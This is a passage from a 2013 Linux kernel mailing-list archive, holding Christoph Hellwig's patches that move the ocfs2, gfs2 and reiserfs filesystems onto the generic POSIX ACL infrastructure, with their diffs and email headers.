(!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return -EOPNOTSUPP; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - ret = posix_acl_valid(acl); - if (ret) - goto cleanup; - } - } else - acl = NULL; - - ret = ocfs2_set_acl(NULL, inode, NULL, type, acl, NULL, NULL); - -cleanup: - posix_acl_release(acl); - return ret; -} - -const struct xattr_handler ocfs2_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ocfs2_xattr_list_acl_access, - .get = ocfs2_xattr_get_acl, - .set = ocfs2_xattr_set_acl, -}; - -const struct xattr_handler ocfs2_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ocfs2_xattr_list_acl_default, - .get = ocfs2_xattr_get_acl, - .set = ocfs2_xattr_set_acl, -}; diff --git a/fs/ocfs2/acl.h b/fs/ocfs2/acl.h index 071fbd38..3fce68d 100644 --- a/fs/ocfs2/acl.h +++ b/fs/ocfs2/acl.h @@ -27,10 +27,13 @@ struct ocfs2_acl_entry { }; struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type); -extern int ocfs2_acl_chmod(struct inode *); -extern int ocfs2_init_acl(handle_t *, struct inode *, struct inode *, - struct buffer_head *, struct buffer_head *, - struct ocfs2_alloc_context *, - struct ocfs2_alloc_context *); +int ocfs2_iop_set_acl(struct inode *inode, struct posix_acl *acl, int type); +int ocfs2_set_acl(handle_t *handle, + struct inode *inode, + struct buffer_head *di_bh, + int type, + struct posix_acl *acl, + struct ocfs2_alloc_context *meta_ac, + struct ocfs2_alloc_context *data_ac); #endif /* OCFS2_ACL_H */ diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c index 6fff128..ac371ad 100644 --- a/fs/ocfs2/file.c +++ b/fs/ocfs2/file.c @@ -1236,7 +1236,7 @@ bail: dqput(transfer_to[qtype]); if (!status && attr->ia_valid & ATTR_MODE) { - status = ocfs2_acl_chmod(inode); + status = posix_acl_chmod(inode); if (status < 0) mlog_errno(status); } @@ -2661,6 +2661,7 @@ const struct inode_operations ocfs2_file_iops = { .removexattr = generic_removexattr, .fiemap = ocfs2_fiemap, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; const struct inode_operations ocfs2_special_file_iops = { @@ -2668,6 +2669,7 @@ const struct inode_operations ocfs2_special_file_iops = { .getattr = ocfs2_getattr, .permission = ocfs2_permission, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; /* diff --git a/fs/ocfs2/namei.c b/fs/ocfs2/namei.c index 4f791f6..c975eed 100644 --- a/fs/ocfs2/namei.c +++ b/fs/ocfs2/namei.c @@ -230,6 +230,7 @@ static int ocfs2_mknod(struct inode *dir, struct ocfs2_dir_lookup_result lookup = { NULL, }; sigset_t oldset; int did_block_signals = 0; + struct posix_acl *default_acl = NULL, *acl = NULL; trace_ocfs2_mknod(dir, dentry, dentry->d_name.len, dentry->d_name.name, (unsigned long long)OCFS2_I(dir)->ip_blkno, @@ -331,6 +332,12 @@ static int ocfs2_mknod(struct inode *dir, goto leave; } + status = posix_acl_create(dir, &mode, &default_acl, &acl); + if (status) { + mlog_errno(status); + goto leave; + } + handle = ocfs2_start_trans(osb, ocfs2_mknod_credits(osb->sb, S_ISDIR(mode), xattr_credits)); @@ -379,8 +386,17 @@ static int ocfs2_mknod(struct inode *dir, inc_nlink(dir); } - status = ocfs2_init_acl(handle, inode, dir, new_fe_bh, parent_fe_bh, - meta_ac, data_ac); + if (default_acl) { + status = ocfs2_set_acl(handle, inode, new_fe_bh, + ACL_TYPE_DEFAULT, default_acl, + meta_ac, data_ac); + } + if (!status && acl) { + status = ocfs2_set_acl(handle, inode, new_fe_bh, + ACL_TYPE_ACCESS, acl, + meta_ac, data_ac); + } + if (status < 0) { mlog_errno(status); goto leave; @@ -419,6 +435,10 @@ static int ocfs2_mknod(struct inode *dir, d_instantiate(dentry, inode); status = 0; leave: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); if (status < 0 && did_quota_inode) dquot_free_inode(inode); if (handle) @@ -2504,4 +2524,5 @@ const struct inode_operations ocfs2_dir_iops = { .removexattr = generic_removexattr, .fiemap = ocfs2_fiemap, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; diff --git a/fs/ocfs2/refcounttree.c b/fs/ocfs2/refcounttree.c index 55767e1..6ba4bcb 100644 --- a/fs/ocfs2/refcounttree.c +++ b/fs/ocfs2/refcounttree.c @@ -46,6 +46,7 @@ #include #include #include +#include struct ocfs2_cow_context { struct inode *inode; @@ -4268,11 +4269,20 @@ static int ocfs2_reflink(struct dentry *old_dentry, struct inode *dir, struct inode *inode = old_dentry->d_inode; struct buffer_head *old_bh = NULL; struct inode *new_orphan_inode = NULL; + struct posix_acl *default_acl, *acl; + umode_t mode; if (!ocfs2_refcount_tree(OCFS2_SB(inode->i_sb))) return -EOPNOTSUPP; - error = ocfs2_create_inode_in_orphan(dir, inode->i_mode, + mode = inode->i_mode; + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) { + mlog_errno(error); + goto out; + } + + error = ocfs2_create_inode_in_orphan(dir, mode, &new_orphan_inode); if (error) { mlog_errno(error); @@ -4303,11 +4313,16 @@ static int ocfs2_reflink(struct dentry *old_dentry, struct inode *dir, /* If the security isn't preserved, we need to re-initialize them. */ if (!preserve) { error = ocfs2_init_security_and_acl(dir, new_orphan_inode, - &new_dentry->d_name); + &new_dentry->d_name, + default_acl, acl); if (error) mlog_errno(error); } out: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); if (!error) { error = ocfs2_mv_orphaned_inode_to_new(dir, new_orphan_inode, new_dentry); diff --git a/fs/ocfs2/xattr.c b/fs/ocfs2/xattr.c index f0a1326..185fa3b7 100644 --- a/fs/ocfs2/xattr.c +++ b/fs/ocfs2/xattr.c @@ -99,8 +99,8 @@ static struct ocfs2_xattr_def_value_root def_xv = { const struct xattr_handler *ocfs2_xattr_handlers[] = { &ocfs2_xattr_user_handler, - &ocfs2_xattr_acl_access_handler, - &ocfs2_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, &ocfs2_xattr_trusted_handler, &ocfs2_xattr_security_handler, NULL @@ -109,9 +109,9 @@ const struct xattr_handler *ocfs2_xattr_handlers[] = { static const struct xattr_handler *ocfs2_xattr_handler_map[OCFS2_XATTR_MAX] = { [OCFS2_XATTR_INDEX_USER] = &ocfs2_xattr_user_handler, [OCFS2_XATTR_INDEX_POSIX_ACL_ACCESS] - = &ocfs2_xattr_acl_access_handler, + = &posix_acl_access_xattr_handler, [OCFS2_XATTR_INDEX_POSIX_ACL_DEFAULT] - = &ocfs2_xattr_acl_default_handler, + = &posix_acl_default_xattr_handler, [OCFS2_XATTR_INDEX_TRUSTED] = &ocfs2_xattr_trusted_handler, [OCFS2_XATTR_INDEX_SECURITY] = &ocfs2_xattr_security_handler, }; @@ -7190,10 +7190,12 @@ out: */ int ocfs2_init_security_and_acl(struct inode *dir, struct inode *inode, - const struct qstr *qstr) + const struct qstr *qstr, + struct posix_acl *default_acl, + struct posix_acl *acl) { - int ret = 0; struct buffer_head *dir_bh = NULL; + int ret = 0; ret = ocfs2_init_security_get(inode, dir, qstr, NULL); if (ret) { @@ -7207,9 +7209,10 @@ int ocfs2_init_security_and_acl(struct inode *dir, goto leave; } - ret = ocfs2_init_acl(NULL, inode, dir, NULL, dir_bh, NULL, NULL); - if (ret) - mlog_errno(ret); + if (!ret && default_acl) + ret = ocfs2_iop_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + if (!ret && acl) + ret = ocfs2_iop_set_acl(inode, acl, ACL_TYPE_ACCESS); ocfs2_inode_unlock(dir, 0); brelse(dir_bh); diff --git a/fs/ocfs2/xattr.h b/fs/ocfs2/xattr.h index 19f134e..f10d5b9 100644 --- a/fs/ocfs2/xattr.h +++ b/fs/ocfs2/xattr.h @@ -40,8 +40,6 @@ struct ocfs2_security_xattr_info { extern const struct xattr_handler ocfs2_xattr_user_handler; extern const struct xattr_handler ocfs2_xattr_trusted_handler; extern const struct xattr_handler ocfs2_xattr_security_handler; -extern const struct xattr_handler ocfs2_xattr_acl_access_handler; -extern const struct xattr_handler ocfs2_xattr_acl_default_handler; extern const struct xattr_handler *ocfs2_xattr_handlers[]; ssize_t ocfs2_listxattr(struct dentry *, char *, size_t); @@ -96,5 +94,7 @@ int ocfs2_reflink_xattrs(struct inode *old_inode, bool preserve_security); int ocfs2_init_security_and_acl(struct inode *dir, struct inode *inode, - const struct qstr *qstr); + const struct qstr *qstr, + struct posix_acl *default_acl, + struct posix_acl *acl); #endif /* OCFS2_XATTR_H */ -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 215E87F5A for ; Sun, 1 Dec 2013 06:07:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D91CA304066 for ; Sun, 1 Dec 2013 04:07:13 -0800 (PST) X-ASG-Debug-ID: 1385899632-04bdf06eef424d10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id laKHN8zQOPqc9Ewb (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nc-0003hh-KG; Sun, 01 Dec 2013 12:06:56 +0000 Message-Id: <20131201120656.539995924@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:19 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 16/18] gfs2: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 16/18] gfs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0016-gfs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This contains some major refactoring for the create path so that inodes are created with the right mode to start with instead of fixing it up later. Signed-off-by: Christoph Hellwig --- fs/gfs2/acl.c | 229 +++++++------------------------------------------------ fs/gfs2/acl.h | 4 +- fs/gfs2/inode.c | 33 ++++++-- fs/gfs2/xattr.c | 4 +- 4 files changed, 61 insertions(+), 209 deletions(-) diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index e82e4ac..e6c7a2c 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -80,7 +80,7 @@ static int gfs2_set_mode(struct inode *inode, umode_t mode) return error; } -static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) +int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int error; int len; @@ -88,219 +88,48 @@ static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) const char *name = gfs2_acl_name(type); BUG_ON(name == NULL); - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); - if (len == 0) - return 0; - data = kmalloc(len, GFP_NOFS); - if (data == NULL) - return -ENOMEM; - error = posix_acl_to_xattr(&init_user_ns, acl, data, len); - if (error < 0) - goto out; - error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); - if (!error) - set_cached_acl(inode, type, acl); -out: - kfree(data); - return error; -} - -int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) -{ - struct gfs2_sbd *sdp = GFS2_SB(&dip->i_inode); - struct posix_acl *acl; - umode_t mode = inode->i_mode; - int error = 0; - - if (!sdp->sd_args.ar_posix_acl) - return 0; - if (S_ISLNK(inode->i_mode)) - return 0; - - acl = gfs2_get_acl(&dip->i_inode, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) { - mode &= ~current_umask(); - return gfs2_set_mode(inode, mode); - } - - if (S_ISDIR(inode->i_mode)) { - error = gfs2_acl_set(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto out; - } - - error = __posix_acl_create(&acl, GFP_NOFS, &mode); - if (error < 0) - return error; - - if (error == 0) - goto munge; - - error = gfs2_acl_set(inode, ACL_TYPE_ACCESS, acl); - if (error) - goto out; -munge: - error = gfs2_set_mode(inode, mode); -out: - posix_acl_release(acl); - return error; -} - -int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) -{ - struct inode *inode = &ip->i_inode; - struct posix_acl *acl; - char *data; - unsigned int len; - int error; - - acl = gfs2_get_acl(&ip->i_inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return gfs2_setattr_simple(inode, attr); - - error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); - if (error) - return error; - - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); - data = kmalloc(len, GFP_NOFS); - error = -ENOMEM; - if (data == NULL) - goto out; - posix_acl_to_xattr(&init_user_ns, acl, data, len); - error = gfs2_xattr_acl_chmod(ip, attr, data); - kfree(data); - set_cached_acl(&ip->i_inode, ACL_TYPE_ACCESS, acl); - -out: - posix_acl_release(acl); - return error; -} - -static int gfs2_acl_type(const char *name) -{ - if (strcmp(name, GFS2_POSIX_ACL_ACCESS) == 0) - return ACL_TYPE_ACCESS; - if (strcmp(name, GFS2_POSIX_ACL_DEFAULT) == 0) - return ACL_TYPE_DEFAULT; - return -EINVAL; -} - -static int gfs2_xattr_system_get(struct dentry *dentry, const char *name, - void *buffer, size_t size, int xtype) -{ - struct inode *inode = dentry->d_inode; - struct gfs2_sbd *sdp = GFS2_SB(inode); - struct posix_acl *acl; - int type; - int error; - - if (!sdp->sd_args.ar_posix_acl) - return -EOPNOTSUPP; - - type = gfs2_acl_type(name); - if (type < 0) - return type; - - acl = gfs2_get_acl(inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int gfs2_xattr_system_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, - int xtype) -{ - struct inode *inode = dentry->d_inode; - struct gfs2_sbd *sdp = GFS2_SB(inode); - struct posix_acl *acl = NULL; - int error = 0, type; - - if (!sdp->sd_args.ar_posix_acl) - return -EOPNOTSUPP; - - type = gfs2_acl_type(name); - if (type < 0) - return type; - if (flags & XATTR_CREATE) - return -EINVAL; - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) - return value ? -EACCES : 0; - if (!uid_eq(current_fsuid(), inode->i_uid) && !capable(CAP_FOWNER)) - return -EPERM; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!value) - goto set_acl; - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (!acl) { - /* - * acl_set_file(3) may request that we set default ACLs with - * zero length -- defend (gracefully) against that here. - */ - goto out; - } - if (IS_ERR(acl)) { - error = PTR_ERR(acl); - goto out; - } - - error = posix_acl_valid(acl); - if (error) - goto out_release; - - error = -EINVAL; if (acl->a_count > GFS2_ACL_MAX_ENTRIES) - goto out_release; + return -EINVAL; if (type == ACL_TYPE_ACCESS) { umode_t mode = inode->i_mode; + error = posix_acl_equiv_mode(acl, &mode); + if (error < 0) - if (error <= 0) { - posix_acl_release(acl); + if (error == 0) acl = NULL; - if (error < 0) - return error; - } - error = gfs2_set_mode(inode, mode); if (error) - goto out_release; + return error; } -set_acl: - error = __gfs2_xattr_set(inode, name, value, size, 0, GFS2_EATYPE_SYS); - if (!error) { - if (acl) - set_cached_acl(inode, type, acl); - else - forget_cached_acl(inode, type); + if (acl) { + len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); + if (len == 0) + return 0; + data = kmalloc(len, GFP_NOFS); + if (data == NULL) + return -ENOMEM; + error = posix_acl_to_xattr(&init_user_ns, acl, data, len); + if (error < 0) + goto out; + } else { + data = NULL; + len = 0; } -out_release: - posix_acl_release(acl); + + error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); + if (error) + goto out; + + if (acl) + set_cached_acl(inode, type, acl); + else + forget_cached_acl(inode, type); out: + kfree(data); return error; } - -const struct xattr_handler gfs2_xattr_system_handler = { - .prefix = XATTR_SYSTEM_PREFIX, - .flags = GFS2_EATYPE_SYS, - .get = gfs2_xattr_system_get, - .set = gfs2_xattr_system_set, -}; - diff --git a/fs/gfs2/acl.h b/fs/gfs2/acl.h index 0da38dc..301260c 100644 --- a/fs/gfs2/acl.h +++ b/fs/gfs2/acl.h @@ -17,8 +17,6 @@ #define GFS2_ACL_MAX_ENTRIES 25 extern struct posix_acl *gfs2_get_acl(struct inode *inode, int type); -extern int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode); -extern int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr); -extern const struct xattr_handler gfs2_xattr_system_handler; +extern int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type); #endif /* __ACL_DOT_H__ */ diff --git a/fs/gfs2/inode.c b/fs/gfs2/inode.c index 7119504..92b4ec0 100644 --- a/fs/gfs2/inode.c +++ b/fs/gfs2/inode.c @@ -552,6 +552,7 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, unsigned int size, int excl, int *opened) { const struct qstr *name = &dentry->d_name; + struct posix_acl *default_acl, *acl; struct gfs2_holder ghs[2]; struct inode *inode = NULL; struct gfs2_inode *dip = GFS2_I(dir), *ip; @@ -611,10 +612,14 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, if (!inode) goto fail_gunlock; + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + goto fail_free_vfs_inode; + ip = GFS2_I(inode); error = gfs2_rs_alloc(ip); if (error) - goto fail_free_inode; + goto fail_free_acls; inode->i_mode = mode; set_nlink(inode, S_ISDIR(mode) ? 2 : 1); @@ -682,7 +687,16 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, gfs2_set_iop(inode); insert_inode_hash(inode); - error = gfs2_acl_create(dip, inode); + if (default_acl) { + error = gfs2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = gfs2_set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + } + if (error) goto fail_gunlock3; @@ -716,6 +730,12 @@ fail_free_inode: if (ip->i_gl) gfs2_glock_put(ip->i_gl); gfs2_rs_delete(ip, NULL); +fail_free_acls: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); +fail_free_vfs_inode: free_inode_nonrcu(inode); inode = NULL; fail_gunlock: @@ -1678,10 +1698,11 @@ static int gfs2_setattr(struct dentry *dentry, struct iattr *attr) error = gfs2_setattr_size(inode, attr->ia_size); else if (attr->ia_valid & (ATTR_UID | ATTR_GID)) error = setattr_chown(inode, attr); - else if ((attr->ia_valid & ATTR_MODE) && IS_POSIXACL(inode)) - error = gfs2_acl_chmod(ip, attr); - else + else { error = gfs2_setattr_simple(inode, attr); + if (!error && attr->ia_valid & ATTR_MODE) + error = posix_acl_chmod(inode); + } out: if (!error) @@ -1841,6 +1862,7 @@ const struct inode_operations gfs2_file_iops = { .removexattr = gfs2_removexattr, .fiemap = gfs2_fiemap, .get_acl = gfs2_get_acl, + .set_acl = gfs2_set_acl, }; const struct inode_operations gfs2_dir_iops = { @@ -1862,6 +1884,7 @@ const struct inode_operations gfs2_dir_iops = { .removexattr = gfs2_removexattr, .fiemap = gfs2_fiemap, .get_acl = gfs2_get_acl, + .set_acl = gfs2_set_acl, .atomic_open = gfs2_atomic_open, }; diff --git a/fs/gfs2/xattr.c b/fs/gfs2/xattr.c index 8c6a6f6..0b81f78 100644 --- a/fs/gfs2/xattr.c +++ b/fs/gfs2/xattr.c @@ -13,6 +13,7 @@ #include #include #include +#include #include #include "gfs2.h" @@ -1500,7 +1501,8 @@ static const struct xattr_handler gfs2_xattr_security_handler = { const struct xattr_handler *gfs2_xattr_handlers[] = { &gfs2_xattr_user_handler, &gfs2_xattr_security_handler, - &gfs2_xattr_system_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, NULL, }; -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 047D97F61 for ; Sun, 1 Dec 2013 06:07:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 93492AC001 for ; Sun, 1 Dec 2013 04:07:13 -0800 (PST) X-ASG-Debug-ID: 1385899632-04bdf06eee424d10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id SCm59l5DSwuXQaxj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nc-0003fm-4z; Sun, 01 Dec 2013 12:06:56 +0000 Message-Id: <20131201120656.032405773@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:16 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 13/18] reiserfs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 13/18] reiserfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0013-reiserfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/reiserfs/acl.h | 4 +- fs/reiserfs/file.c | 1 + fs/reiserfs/namei.c | 3 + fs/reiserfs/xattr.c | 5 +- fs/reiserfs/xattr_acl.c | 175 ++++++++--------------------------------------- 5 files changed, 36 insertions(+), 152 deletions(-) diff --git a/fs/reiserfs/acl.h b/fs/reiserfs/acl.h index f096b80..4a211f5 100644 --- a/fs/reiserfs/acl.h +++ b/fs/reiserfs/acl.h @@ -48,18 +48,18 @@ static inline int reiserfs_acl_count(size_t size) #ifdef CONFIG_REISERFS_FS_POSIX_ACL struct posix_acl *reiserfs_get_acl(struct inode *inode, int type); +int reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int reiserfs_acl_chmod(struct inode *inode); int reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, struct inode *dir, struct dentry *dentry, struct inode *inode); int reiserfs_cache_default_acl(struct inode *dir); -extern const struct xattr_handler reiserfs_posix_acl_default_handler; -extern const struct xattr_handler reiserfs_posix_acl_access_handler; #else #define reiserfs_cache_default_acl(inode) 0 #define reiserfs_get_acl NULL +#define reiserfs_set_acl NULL static inline int reiserfs_acl_chmod(struct inode *inode) { diff --git a/fs/reiserfs/file.c b/fs/reiserfs/file.c index dcaafcf..ed58d84 100644 --- a/fs/reiserfs/file.c +++ b/fs/reiserfs/file.c @@ -260,4 +260,5 @@ const struct inode_operations reiserfs_file_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; diff --git a/fs/reiserfs/namei.c b/fs/reiserfs/namei.c index dc5236f..8ba707e 100644 --- a/fs/reiserfs/namei.c +++ b/fs/reiserfs/namei.c @@ -1522,6 +1522,7 @@ const struct inode_operations reiserfs_dir_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; /* @@ -1539,6 +1540,7 @@ const struct inode_operations reiserfs_symlink_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; @@ -1553,4 +1555,5 @@ const struct inode_operations reiserfs_special_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; diff --git a/fs/reiserfs/xattr.c b/fs/reiserfs/xattr.c index 8a9e2dc..5cdfbd6 100644 --- a/fs/reiserfs/xattr.c +++ b/fs/reiserfs/xattr.c @@ -50,6 +50,7 @@ #include #include #include +#include #define PRIVROOT_NAME ".reiserfs_priv" #define XAROOT_NAME "xattrs" @@ -904,8 +905,8 @@ static const struct xattr_handler *reiserfs_xattr_handlers[] = { &reiserfs_xattr_security_handler, #endif #ifdef CONFIG_REISERFS_FS_POSIX_ACL - &reiserfs_posix_acl_access_handler, - &reiserfs_posix_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index d95c959..ff04988 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -11,35 +11,19 @@ #include "acl.h" #include -static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, +static int __reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, int type, struct posix_acl *acl); -static int -reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) + +int +reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; int error, error2; struct reiserfs_transaction_handle th; size_t 